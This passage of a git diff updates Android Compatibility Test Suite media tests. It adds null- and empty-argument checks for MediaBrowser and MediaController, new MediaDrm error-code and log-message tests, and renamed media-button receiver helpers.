         createMediaBrowser(TEST_BROWSER_SERVICE);
@@ -165,17 +207,6 @@
         assertEquals(0, mConnectionCallback.mConnectionSuspendedCount);
     }
 
-    public void testGetServiceComponentBeforeConnection() {
-        resetCallbacks();
-        createMediaBrowser(TEST_BROWSER_SERVICE);
-        try {
-            ComponentName serviceComponent = mMediaBrowser.getServiceComponent();
-            fail();
-        } catch (IllegalStateException e) {
-            // expected
-        }
-    }
-
     public void testSubscribe() {
         resetCallbacks();
         createMediaBrowser(TEST_BROWSER_SERVICE);
@@ -212,6 +243,43 @@
         assertEquals(0, mSubscriptionCallback.mChildrenLoadedCount);
     }
 
+    public void testSubscribeWithIllegalArguments() {
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+
+        try {
+            final String nullMediaId = null;
+            mMediaBrowser.subscribe(nullMediaId, mSubscriptionCallback);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+
+        try {
+            final String emptyMediaId = "";
+            mMediaBrowser.subscribe(emptyMediaId, mSubscriptionCallback);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+
+        try {
+            final MediaBrowser.SubscriptionCallback nullCallback = null;
+            mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_ROOT, nullCallback);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+
+        try {
+            final Bundle nullOptions = null;
+            mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_ROOT, nullOptions,
+                    mSubscriptionCallback);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+    }
+
     public void testSubscribeWithOptions() {
         createMediaBrowser(TEST_BROWSER_SERVICE);
         connectMediaBrowserService();
@@ -319,6 +387,34 @@
         assertNull(mSubscriptionCallback.mLastParentId);
     }
 
+    public void testUnsubscribeWithIllegalArguments() {
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+
+        try {
+            final String nullMediaId = null;
+            mMediaBrowser.unsubscribe(nullMediaId);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+
+        try {
+            final String emptyMediaId = "";
+            mMediaBrowser.unsubscribe(emptyMediaId);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+
+        try {
+            final MediaBrowser.SubscriptionCallback nullCallback = null;
+            mMediaBrowser.unsubscribe(StubMediaBrowserService.MEDIA_ID_ROOT, nullCallback);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+    }
+
     public void testUnsubscribeForMultipleSubscriptions() {
         createMediaBrowser(TEST_BROWSER_SERVICE);
         connectMediaBrowserService();
@@ -440,6 +536,53 @@
                 mItemCallback.mLastMediaItem.getMediaId());
     }
 
+    public void testGetItemThrowsIAE() {
+        resetCallbacks();
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+
+        try {
+            // Calling getItem() with empty mediaId will throw IAE.
+            mMediaBrowser.getItem("",  mItemCallback);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+
+        try {
+            // Calling getItem() with null mediaId will throw IAE.
+            mMediaBrowser.getItem(null,  mItemCallback);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+
+        try {
+            // Calling getItem() with null itemCallback will throw IAE.
+            mMediaBrowser.getItem("media_id",  null);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+    }
+
+    public void testGetItemWhileNotConnected() {
+        resetCallbacks();
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+
+        final String mediaId = "test_media_id";
+        mMediaBrowser.getItem(mediaId, mItemCallback);
+
+        // Calling getItem while not connected will invoke ItemCallback.onError().
+        new PollingCheck(TIME_OUT_MS) {
+            @Override
+            protected boolean check() {
+                return mItemCallback.mLastErrorId != null;
+            }
+        }.run();
+
+        assertEquals(mItemCallback.mLastErrorId, mediaId);
+    }
+
     public void testGetItemFailure() {
         resetCallbacks();
         createMediaBrowser(TEST_BROWSER_SERVICE);
@@ -566,7 +709,7 @@
             mLastErrorId = id;
             mLastOptions = options;
         }
-}
+    }
 
     private static class StubItemCallback extends MediaBrowser.ItemCallback {
         private volatile MediaBrowser.MediaItem mLastMediaItem;
diff --git a/tests/tests/media/src/android/media/cts/MediaButtonBroadcastReceiver.java b/tests/tests/media/src/android/media/cts/MediaButtonBroadcastReceiver.java
new file mode 100644
index 0000000..1d320d8
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaButtonBroadcastReceiver.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.view.KeyEvent;
+
+import java.util.function.Consumer;
+
+public class MediaButtonBroadcastReceiver extends BroadcastReceiver {
+    public static Consumer<KeyEvent> mCallback;
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        assertEquals(Intent.ACTION_MEDIA_BUTTON, intent.getAction());
+        KeyEvent keyEvent = intent.getParcelableExtra(Intent.EXTRA_KEY_EVENT);
+        synchronized (MediaButtonBroadcastReceiver.class) {
+            if (mCallback != null) {
+                mCallback.accept(keyEvent);
+            }
+        }
+    }
+
+    public synchronized static void setCallback(Consumer<KeyEvent> callback) {
+        synchronized (MediaButtonBroadcastReceiver.class) {
+            mCallback = callback;
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaButtonReceiver.java b/tests/tests/media/src/android/media/cts/MediaButtonReceiver.java
deleted file mode 100644
index 30e8150..0000000
--- a/tests/tests/media/src/android/media/cts/MediaButtonReceiver.java
+++ /dev/null
@@ -1,47 +0,0 @@
-/*
- * Copyright 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.assertEquals;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.view.KeyEvent;
-
-import java.util.function.Consumer;
-
-public class MediaButtonReceiver extends BroadcastReceiver {
-    public static Consumer<KeyEvent> mCallback;
-
-    @Override
-    public void onReceive(Context context, Intent intent) {
-        assertEquals(Intent.ACTION_MEDIA_BUTTON, intent.getAction());
-        KeyEvent keyEvent = intent.getParcelableExtra(Intent.EXTRA_KEY_EVENT);
-        synchronized (MediaButtonReceiver.class) {
-            if (mCallback != null) {
-                mCallback.accept(keyEvent);
-            }
-        }
-    }
-
-    public synchronized static void setCallback(Consumer<KeyEvent> callback) {
-        synchronized (MediaButtonReceiver.class) {
-            mCallback = callback;
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaButtonReceiverService.java b/tests/tests/media/src/android/media/cts/MediaButtonReceiverService.java
new file mode 100644
index 0000000..def8cee
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaButtonReceiverService.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.app.IntentService;
+import android.content.Intent;
+import android.view.KeyEvent;
+
+import java.util.function.Consumer;
+
+public class MediaButtonReceiverService extends IntentService {
+    private static final String TAG = "MediaButtonReceiverService";
+    public static Consumer<KeyEvent> mCallback;
+
+    public MediaButtonReceiverService() {
+        super(TAG);
+    }
+
+    public synchronized static void setCallback(Consumer<KeyEvent> callback) {
+        synchronized (MediaButtonReceiverService.class) {
+            mCallback = callback;
+        }
+    }
+
+    @Override
+    protected void onHandleIntent(Intent intent) {
+        assertEquals(Intent.ACTION_MEDIA_BUTTON, intent.getAction());
+        KeyEvent keyEvent = intent.getParcelableExtra(Intent.EXTRA_KEY_EVENT);
+        synchronized (MediaButtonReceiverService.class) {
+            if (mCallback != null) {
+                mCallback.accept(keyEvent);
+            }
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaCasTest.java b/tests/tests/media/src/android/media/cts/MediaCasTest.java
index a3b9176..7f1c1c7 100644
--- a/tests/tests/media/src/android/media/cts/MediaCasTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCasTest.java
@@ -59,6 +59,7 @@
     private static final int sClearKeySystemId = 0xF6D8;
     private static final int API_LEVEL_BEFORE_CAS_SESSION = 28;
     private boolean mIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
+    private boolean mIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
 
     // ClearKey CAS/Descrambler test vectors
     private static final String sProvisionStr =
@@ -193,9 +194,17 @@
                 if (mediaCas == null) {
                     fail("Enumerated " + descriptors[i] + " but cannot instantiate MediaCas.");
                 }
-                descrambler = new MediaDescrambler(CA_system_id);
-                if (descrambler == null) {
-                    fail("Enumerated " + descriptors[i] + " but cannot instantiate MediaDescrambler.");
+                try {
+                    descrambler = new MediaDescrambler(CA_system_id);
+                } catch (UnsupportedCasException e) {
+                    // The descrambler can be supported through Tuner since R.
+                    if (mIsAtLeastR) {
+                        Log.d(TAG, "Enumerated "
+                            + descriptors[i] + ", it doesn't support MediaDescrambler.");
+                    } else {
+                        fail("Enumerated " + descriptors[i]
+                            + " but cannot instantiate MediaDescrambler.");
+                    }
                 }
 
                 // Should always accept a listener (even if the plugin doesn't use it)
@@ -568,6 +577,32 @@
         }
     }
 
+    /**
+     * Test Set Event Listener in MediaCas Constructor.
+     */
+    public void testConstructWithEventListener() throws Exception {
+        MediaCas mediaCas = null;
+        if (!MediaUtils.check(mIsAtLeastS, "test needs Android 12")) return;
+
+        try {
+            TestEventListener listener = new TestEventListener();
+            HandlerThread thread = new HandlerThread("EventListenerHandlerThread");
+            thread.start();
+            Handler handler = new Handler(thread.getLooper());
+
+            mediaCas = new MediaCas(getContext(), sClearKeySystemId, null,
+                android.media.tv.TvInputService.PRIORITY_HINT_USE_CASE_TYPE_LIVE, handler,
+                listener);
+
+            thread.interrupt();
+
+        } finally {
+            if (mediaCas != null) {
+                mediaCas.close();
+            }
+        }
+    }
+
     private class TestEventListener implements MediaCas.EventListener {
         private final CountDownLatch mLatch = new CountDownLatch(1);
         private final MediaCas mMediaCas;
@@ -577,6 +612,14 @@
         private final byte[] mData;
         private boolean mIsIdential;
 
+        TestEventListener() {
+            mMediaCas = null;
+            mEvent = 0;
+            mArg = 0;
+            mData = null;
+            mSession = null;
+        }
+
         TestEventListener(MediaCas mediaCas, int event, int arg, byte[] data) {
             mMediaCas = mediaCas;
             mEvent = event;
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecTest.java b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
index 1176dd8..1e98d5f 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
@@ -125,6 +125,8 @@
     private static final int DECODING_TIMEOUT_MS = 10000;
 
     private static boolean mIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
+    private static boolean mIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
+
     /**
      * Tests:
      * <br> Exceptions for MediaCodec factory methods
@@ -1619,25 +1621,22 @@
         public int mMaxH;
         public int mFps;
         public int mBitRate;
-    };
+    }
 
     public void testCryptoInfoPattern() {
         CryptoInfo info = new CryptoInfo();
         Pattern pattern = new Pattern(1 /*blocksToEncrypt*/, 2 /*blocksToSkip*/);
-        if (pattern.getEncryptBlocks() != 1) {
-            fail("Incorrect number of encrypt blocks in pattern");
-        }
-        if (pattern.getSkipBlocks() != 2) {
-            fail("Incorrect number of skip blocks in pattern");
-        }
+        assertEquals(1, pattern.getEncryptBlocks());
+        assertEquals(2, pattern.getSkipBlocks());
         pattern.set(3 /*blocksToEncrypt*/, 4 /*blocksToSkip*/);
-        if (pattern.getEncryptBlocks() != 3) {
-            fail("Incorrect number of encrypt blocks in pattern");
-        }
-        if (pattern.getSkipBlocks() != 4) {
-            fail("Incorrect number of skip blocks in pattern");
-        }
+        assertEquals(3, pattern.getEncryptBlocks());
+        assertEquals(4, pattern.getSkipBlocks());
         info.setPattern(pattern);
+        // Check that CryptoInfo does not leak access to the underlying pattern.
+        pattern.set(10, 10);
+        info.getPattern().set(10, 10);
+        assertSame(3, info.getPattern().getEncryptBlocks());
+        assertSame(4, info.getPattern().getSkipBlocks());
     }
 
     private static CodecInfo getAvcSupportedFormatInfo() {
@@ -2647,6 +2646,9 @@
                         AudioCapabilities acaps = caps.getAudioCapabilities();
                         int minSampleRate = acaps.getSupportedSampleRateRanges()[0].getLower();
                         int minChannelCount = 1;
+                        if (mIsAtLeastS) {
+                            minChannelCount = acaps.getMinInputChannelCount();
+                        }
                         int minBitrate = acaps.getBitrateRange().getLower();
                         format = MediaFormat.createAudioFormat(mime, minSampleRate, minChannelCount);
                         format.setInteger(MediaFormat.KEY_BIT_RATE, minBitrate);
diff --git a/tests/tests/media/src/android/media/cts/MediaCommunicationManagerTest.java b/tests/tests/media/src/android/media/cts/MediaCommunicationManagerTest.java
new file mode 100644
index 0000000..0ec07de
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaCommunicationManagerTest.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Context;
+import android.media.MediaCommunicationManager;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test {@link android.media.MediaCommunicationManager}.
+ */
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class MediaCommunicationManagerTest {
+    private Context mContext;
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getTargetContext();
+    }
+
+    @Test
+    public void testGetSystemService() {
+        MediaCommunicationManager manager = (MediaCommunicationManager)
+                mContext.getSystemService(Context.MEDIA_COMMUNICATION_SERVICE);
+        assertNotNull(manager);
+    }
+
+    @Test
+    public void testGetVersion() {
+        MediaCommunicationManager manager = (MediaCommunicationManager)
+                mContext.getSystemService(Context.MEDIA_COMMUNICATION_SERVICE);
+        assertTrue(manager.getVersion() > 0);
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaControllerTest.java b/tests/tests/media/src/android/media/cts/MediaControllerTest.java
index b71b04a..0fc6a5f 100644
--- a/tests/tests/media/src/android/media/cts/MediaControllerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaControllerTest.java
@@ -18,8 +18,9 @@
 import static android.media.cts.Utils.compareRemoteUserInfo;
 import static android.media.session.PlaybackState.STATE_PLAYING;
 
+import static org.junit.Assert.assertNotEquals;
+
 import android.content.Intent;
-import android.media.AudioAttributes;
 import android.media.AudioManager;
 import android.media.Rating;
 import android.media.VolumeProvider;
@@ -31,6 +32,7 @@
 import android.net.Uri;
 import android.os.Bundle;
 import android.os.Handler;
+import android.os.HandlerThread;
 import android.os.Looper;
 import android.os.Process;
 import android.os.ResultReceiver;
@@ -68,6 +70,15 @@
                 getContext().getPackageName(), Process.myPid(), Process.myUid());
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        if (mSession != null) {
+            mSession.release();
+            mSession = null;
+        }
+    }
+
     public void testGetPackageName() {
         assertEquals(getContext().getPackageName(), mController.getPackageName());
     }
@@ -121,12 +132,26 @@
         assertEquals(Rating.RATING_5_STARS, mController.getRatingType());
     }
 
-    public void testGetSessionToken() throws Exception {
+    public void testGetSessionToken() {
         assertEquals(mSession.getSessionToken(), mController.getSessionToken());
+    }
 
+    public void testGetSessionInfo() {
         Bundle sessionInfo = mController.getSessionInfo();
         assertNotNull(sessionInfo);
         assertEquals(EXTRAS_VALUE, sessionInfo.getString(EXTRAS_KEY));
+
+        Bundle cachedSessionInfo = mController.getSessionInfo();
+        assertEquals(EXTRAS_VALUE, cachedSessionInfo.getString(EXTRAS_KEY));
+    }
+
+    public void testGetSessionInfoReturnsAnEmptyBundleWhenNotSet() {
+        MediaSession session = new MediaSession(getContext(), "test_tag", /*sessionInfo=*/ null);
+        try {
+            assertTrue(session.getController().getSessionInfo().isEmpty());
+        } finally {
+            session.release();
+        }
     }
 
     public void testGetTag() {
@@ -149,6 +174,25 @@
         }
     }
 
+    public void testSendCommandWithIllegalArgumentsThrowsIAE() {
+        Bundle args = new Bundle();
+        ResultReceiver resultReceiver = new ResultReceiver(mHandler);
+
+        try {
+            mController.sendCommand(/*command=*/ null, args, resultReceiver);
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+
+        try {
+            mController.sendCommand(/*command=*/ "", args, resultReceiver);
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+    }
+
     public void testSetPlaybackSpeed() throws Exception {
         synchronized (mWaitLock) {
             mCallback.reset();
@@ -406,6 +450,193 @@
         }
     }
 
+    public void testRegisterCallbackWithNullThrowsIAE() {
+        try {
+            mController.registerCallback(/*handler=*/ null);
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+
+        try {
+            mController.registerCallback(/*handler=*/ null, mHandler);
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+    }
+
+    public void testRegisteringSameCallbackWithDifferentHandlerHasNoEffect() {
+        MediaController.Callback callback = new MediaController.Callback() {};
+        mController.registerCallback(callback, mHandler);
+
+        Handler initialHandler = mController.getHandlerForCallback(callback);
+        assertEquals(mHandler.getLooper(), initialHandler.getLooper());
+
+        // Create a separate handler with a new looper.
+        HandlerThread handlerThread = new HandlerThread("Test thread");
+        handlerThread.start();
+
+        // This call should not change the handler which is previously set.
+        mController.registerCallback(callback, new Handler(handlerThread.getLooper()));
+        Handler currentHandlerInController = mController.getHandlerForCallback(callback);
+
+        // The handler should not have been replaced.
+        assertEquals(initialHandler, currentHandlerInController);
+        assertNotEquals(handlerThread.getLooper(), currentHandlerInController.getLooper());
+
+        handlerThread.quitSafely();
+    }
+
+    public void testUnregisterCallbackWithNull() {
+        try {
+            mController.unregisterCallback(/*handler=*/ null);
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+    }
+
+    public void testUnregisterCallbackShouldRemoveCallback() {
+        MediaController.Callback callback = new MediaController.Callback() {};
+        mController.registerCallback(callback, mHandler);
+        assertEquals(mHandler.getLooper(), mController.getHandlerForCallback(callback).getLooper());
+
+        mController.unregisterCallback(callback);
+        assertNull(mController.getHandlerForCallback(callback));
+    }
+
+    public void testDispatchMediaButtonEventWithNullKeyEvent() {
+        try {
+            mController.dispatchMediaButtonEvent(/*keyEvent=*/ null);
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+    }
+
+    public void testDispatchMediaButtonEventWithNonMediaKeyEventReturnsFalse() {
+        KeyEvent keyEvent = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_CAPS_LOCK);
+        assertFalse(mController.dispatchMediaButtonEvent(keyEvent));
+    }
+
+    public void testPlaybackInfoCreatorNewArray() {
+        final int arrayLength = 5;
+        MediaController.PlaybackInfo[] playbackInfoArrayInitializedWithNulls
+                = MediaController.PlaybackInfo.CREATOR.newArray(arrayLength);
+        assertNotNull(playbackInfoArrayInitializedWithNulls);
+        assertEquals(arrayLength, playbackInfoArrayInitializedWithNulls.length);
+        for (MediaController.PlaybackInfo playbackInfo : playbackInfoArrayInitializedWithNulls) {
+            assertNull(playbackInfo);
+        }
+    }
+
+    public void testTransportControlsPlayAndPrepareFromMediaIdWithIllegalArgumentsThrowsIAE() {
+        MediaController.TransportControls transportControls = mController.getTransportControls();
+
+        try {
+            transportControls.playFromMediaId(/*mediaId=*/ null, /*extras=*/ new Bundle());
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+
+        try {
+            transportControls.playFromMediaId(/*mediaId=*/ "", /*extras=*/ new Bundle());
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+
+        try {
+            transportControls.prepareFromMediaId(/*mediaId=*/ null, /*extras=*/ new Bundle());
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+
+        try {
+            transportControls.prepareFromMediaId(/*mediaId=*/ "", /*extras=*/ new Bundle());
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+    }
+
+    public void testTransportControlsPlayAndPrepareFromUriWithIllegalArgumentsThrowsIAE() {
+        MediaController.TransportControls transportControls = mController.getTransportControls();
+
+        try {
+            transportControls.playFromUri(/*uri=*/ null, /*extras=*/ new Bundle());
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+
+        try {
+            transportControls.playFromUri(Uri.EMPTY, /*extras=*/ new Bundle());
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+
+        try {
+            transportControls.prepareFromUri(/*uri=*/ null, /*extras=*/ new Bundle());
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+
+        try {
+            transportControls.prepareFromUri(Uri.EMPTY, /*extras=*/ new Bundle());
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+    }
+
+    public void testTransportControlsPlayAndPrepareFromSearchWithNullDoesNotCrash()
+            throws Exception {
+        MediaController.TransportControls transportControls = mController.getTransportControls();
+
+        synchronized (mWaitLock) {
+            // These calls should not crash. Null query is accepted on purpose.
+            transportControls.playFromSearch(/*query=*/ null, /*extras=*/ new Bundle());
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnPlayFromSearchCalled);
+
+            transportControls.prepareFromSearch(/*query=*/ null, /*extras=*/ new Bundle());
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnPrepareFromSearchCalled);
+        }
+    }
+
+    public void testSendCustomActionWithIllegalArgumentsThrowsIAE() {
+        MediaController.TransportControls transportControls = mController.getTransportControls();
+
+        try {
+            transportControls.sendCustomAction((PlaybackState.CustomAction) null,
+                    /*args=*/ new Bundle());
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+
+        try {
+            transportControls.sendCustomAction(/*action=*/ (String) null, /*args=*/ new Bundle());
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+
+        try {
+            transportControls.sendCustomAction(/*action=*/ "", /*args=*/ new Bundle());
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+    }
+
     private class MediaSessionCallback extends MediaSession.Callback {
         private long mSeekPosition;
         private long mQueueItemId;
diff --git a/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java b/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
index e3c7f6b..9945d8c 100644
--- a/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
@@ -21,6 +21,9 @@
 import android.media.MediaDrm.MediaDrmStateException;
 import android.media.MediaDrmException;
 import android.media.MediaFormat;
+import android.media.NotProvisionedException;
+import android.media.ResourceBusyException;
+import android.media.UnsupportedSchemeException;
 import android.media.cts.TestUtils.Monitor;
 import android.net.Uri;
 import android.os.Looper;
@@ -1167,8 +1170,9 @@
                 byte[] ignoredInitData = new byte[] { 1 };
                 drm.getKeyRequest(sessionId, ignoredInitData, "cenc", MediaDrm.KEY_TYPE_STREAMING, null);
             } catch (MediaDrm.SessionException e) {
-                if (e.getErrorCode() != MediaDrm.SessionException.ERROR_RESOURCE_CONTENTION) {
-                    throw new Error("Incorrect error code, expected ERROR_RESOURCE_CONTENTION");
+                if (e.getErrorCode() != MediaDrm.SessionException.ERROR_RESOURCE_CONTENTION ||
+                        !e.isTransient()) {
+                    throw new Error("Expected transient ERROR_RESOURCE_CONTENTION");
                 }
                 gotException = true;
             }
@@ -1250,6 +1254,35 @@
         }
     }
 
+    @Presubmit
+    public void testMediaDrmStateExceptionErrorCode()
+            throws ResourceBusyException, UnsupportedSchemeException, NotProvisionedException {
+        if (watchHasNoClearkeySupport()) {
+            return;
+        }
+
+        MediaDrm drm = null;
+        try {
+            drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
+            byte[] sessionId = drm.openSession();
+            drm.closeSession(sessionId);
+
+            byte[] ignoredInitData = new byte[]{1};
+            drm.getKeyRequest(sessionId, ignoredInitData, "cenc",
+                    MediaDrm.KEY_TYPE_STREAMING,
+                    null);
+        } catch(MediaDrmStateException e) {
+            Log.i(TAG, "Verifying exception error code", e);
+            assertFalse("ERROR_SESSION_NOT_OPENED requires new session", e.isTransient());
+            assertEquals("Expected ERROR_SESSION_NOT_OPENED",
+                    MediaDrm.ErrorCodes.ERROR_SESSION_NOT_OPENED, e.getErrorCode());
+        }  finally {
+            if (drm != null) {
+                drm.close();
+            }
+        }
+    }
+
     private String getClearkeyVersion(MediaDrm drm) {
         try {
             return drm.getPropertyString("version");
diff --git a/tests/tests/media/src/android/media/cts/MediaDrmTest.java b/tests/tests/media/src/android/media/cts/MediaDrmTest.java
index adc927e..619dd89 100644
--- a/tests/tests/media/src/android/media/cts/MediaDrmTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaDrmTest.java
@@ -17,10 +17,14 @@
 package android.media.cts;
 
 import android.media.MediaDrm;
+import android.media.NotProvisionedException;
 import android.util.Log;
 import androidx.test.runner.AndroidJUnit4;
+
 import java.util.List;
 import java.util.UUID;
+
+import org.junit.Assert;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -55,4 +59,36 @@
         }
     }
 
+    @Test
+    public void testGetLogMessages() throws Exception {
+        List<UUID> supportedCryptoSchemes = MediaDrm.getSupportedCryptoSchemes();
+        for (UUID scheme : supportedCryptoSchemes) {
+            MediaDrm drm = new MediaDrm(scheme);
+            try {
+                byte[] sid = drm.openSession();
+                drm.closeSession(sid);
+            } catch (NotProvisionedException e) {
+                Log.w(TAG, scheme.toString() + ": not provisioned", e);
+            }
+
+            List<MediaDrm.LogMessage> logMessages;
+            try {
+                logMessages = drm.getLogMessages();
+                Assert.assertFalse("Empty logs", logMessages.isEmpty());
+            } catch (UnsupportedOperationException e) {
+                Log.w(TAG, scheme.toString() + ": no LogMessage support", e);
+                return;
+            }
+
+            long end = System.currentTimeMillis();
+            for (MediaDrm.LogMessage log: logMessages) {
+                Assert.assertTrue("Log occurred in future",
+                        log.timestampMillis <= end);
+                Assert.assertTrue("Invalid log priority",
+                        log.priority >= Log.VERBOSE &&
+                                log.priority <= Log.ASSERT);
+                Log.i(TAG, log.toString());
+            }
+        }
+    }
 }
diff --git a/tests/tests/media/src/android/media/cts/MediaItemTest.java b/tests/tests/media/src/android/media/cts/MediaItemTest.java
index 53217ca..75235c9 100644
--- a/tests/tests/media/src/android/media/cts/MediaItemTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaItemTest.java
@@ -19,6 +19,7 @@
 import android.media.browse.MediaBrowser.MediaItem;
 import android.os.Parcel;
 import android.test.AndroidTestCase;
+import android.text.TextUtils;
 
 /**
  * Test {@link android.media.browse.MediaBrowser.MediaItem}.
@@ -42,14 +43,17 @@
         assertTrue(mediaItem.isBrowsable());
         assertFalse(mediaItem.isPlayable());
         assertEquals(0, mediaItem.describeContents());
+        assertFalse(TextUtils.isEmpty(mediaItem.toString()));
 
         // Test writeToParcel
         Parcel p = Parcel.obtain();
         mediaItem.writeToParcel(p, 0);
         p.setDataPosition(0);
-        assertEquals(mediaItem.getFlags(), p.readInt());
-        assertEquals(description.toString(),
-                MediaDescription.CREATOR.createFromParcel(p).toString());
+
+        MediaItem mediaItemFromParcel = MediaItem.CREATOR.createFromParcel(p);
+        assertNotNull(mediaItemFromParcel);
+        assertEquals(mediaItem.getFlags(), mediaItemFromParcel.getFlags());
+        assertEquals(description.toString(), mediaItem.getDescription().toString());
         p.recycle();
     }
 
@@ -65,14 +69,17 @@
         assertFalse(mediaItem.isBrowsable());
         assertTrue(mediaItem.isPlayable());
         assertEquals(0, mediaItem.describeContents());
